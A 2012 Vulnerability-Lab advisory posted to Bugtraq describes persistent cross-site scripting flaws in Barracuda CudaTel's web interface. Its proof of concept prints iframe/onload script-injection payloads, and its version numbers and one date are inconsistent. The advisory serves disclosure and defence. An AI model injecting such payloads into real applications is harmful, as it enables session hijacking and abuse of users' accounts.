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[Suspected Spam] Barracuda CudaTel v2.0.029.1 - Multiple Web Vulnerabilities
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: [Suspected Spam] Barracuda CudaTel v2.0.029.1 - Multiple Web Vulnerabilities
- From: "research@xxxxxxxxxxxxxxxxxxxxx" <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 08 Mar 2012 03:15:42 +0100
Title:
======
Barracuda CudaTel v2.0.029.1 - Multiple Web Vulnerabilities
Date:
=====
2012-03-08
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=442
VL-ID:
=====
442
Introduction:
=============
Designed to enable seamless voice and video communication, the CudaTel
Communication Server is an easy-to-use,
affordable, next-generation phone system for businesses. CudaTel Communication
Server s enterprise-class
feature set includes Voice over IP (VoIP) PBX services, conferencing,
follow-me, automated attendant services,
and more, controlled by an easy-to-use Web interface. CudaTel Communication
Server is compatible with any SIP
device and provider, and can be pre-configured for use with both analog and
digital telephone networks. Powerful,
Complete Solution With an expansive feature set and and no per user or phone
licensing fees, the CudaTel
Communication Server is equipped and priced for organizations of any size.
Native High Definition audio support
and integrated phone line (TDM) hardware produces an unparalleled audio
experience. VOIP encryption protects calls
from hackers and digital eavesdroppers.
(Copy of the Vendor Homepage: http://www.barracudanetworks.ca/cudatel.aspx )
Abstract:
=========
Vulnerability Lab Team discovered multiple persistent Web Vulnerabilities on
Barracudas CudaTel Phone Application v3.0.028.001.
Report-Timeline:
================
2012-02-19: Vendor Notification
2012-02-00: Vendor Response/Feedback
2012-03-07: Vendor Fix/Patch by Check
2012-03-08: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
Barracuda Networks
Product: CudaTel - Communication Server v2.0.029.1
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
Multiple persistent Input Validation vulnerabilities are detected on Barracudas
CudaTel Phone Application v3.0.028.001.
Local low privileged user accounts can implement/inject malicious script code
to manipulate modules via persistent context
requests. When exploited by an authenticated user, the identified
vulnerabilities can result in information disclosure via error,
session hijacking, access to available phone line services, manipulated
persistent context execution out of the auto route listings.
Vulnerable Module(s):
[+] Automated Attendants
[-] Advanced Routing
extension - NAME & Listing
[-] Auto Attendants - NAME &
Listing
[-] ALL Types Listing
Category
Picture(s):
../1.png
../2.png
Proof of Concept:
=================
The vulnerabilities can be exploited by local privileged user accounts with low
user inter action or remote via manipulated
http request & high required user inter action. For demonstration or reproduce
...
Code Review: Listing Category (All; Routing Extension; Auto Attendants)
[EXECUTION OF PERSISTENT SCRIPT CODE]
<td class="detailTD">
<div style="float: left;" class="printedName">
"><iframe div="" <="" onload='alert("VL")' src="a">
</td><script type="text/javascript">extensions_register('extOp530748',
'extOp530748-ext144', {"flag_super":"0","flag_locked":
"0","bbx_extension_rcd":"2012-02-16
11:21:48.105901","bbx_extension_block_begin":"2088","map"{"bbx_conference_id":null,"bbx_provider_gateway_id":null,"sort_name":
"\"><iframe src=a onload=alert(\"vl\")
<","bbx_valet_parking_id":null,"bbx_extension_entity_map_id":"82","bbx_extension_entity_
map_fallback_exten":null,"bbx_
extension_entity_map_metadata":null,"bbx_user_id":null,"bbx_router_id":"20","bbx_group_id":null,"bbx_callflow_id":null,"_force_
row_refresh":"0","show_name":"\"><[EXECUTION OF PERSISTENT SCRIPT CODE]
<","bbx_queue_id":null,"bbx_tdm_card_port_id":null,"flag_standalone":"1","bbx_auto_attendant_id":null,"bbx_extension_id_
forward":null},"bbx_extension_name":null,"bbx_domain_id":"6","bbx_extension_block_end":"2088","type_id":
{"id":"20","type":"router","col":"bbx_router_id"},"map_id":"82","flag_external":"0","flag_voicemail":"0","bbx_extension_value"
:"2088","ldap":0,"bbx_extension_rpd":"2012-02-16
11:21:49.06783","user_synced":null,"printed_name":"\"><[EXECUTION OF PERSISTENT
SCRIPT CODE]
<","bbx_extension_id":"144","group_synced":null,"type":"router","flag_auto_provision":"0"});</script>
</tr>
Reference(s):
../poc.3.txt
../review.txt
../vulnerable modules.txt
../CudaTel Communications
Server.htm
../CudaTel Communications
Server - Listing All.htm
Risk:
=====
The security risk of the persistent script code injection vulnerabilities are
estimated as high(-).
Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright ©
2012|Vulnerability-Lab
--
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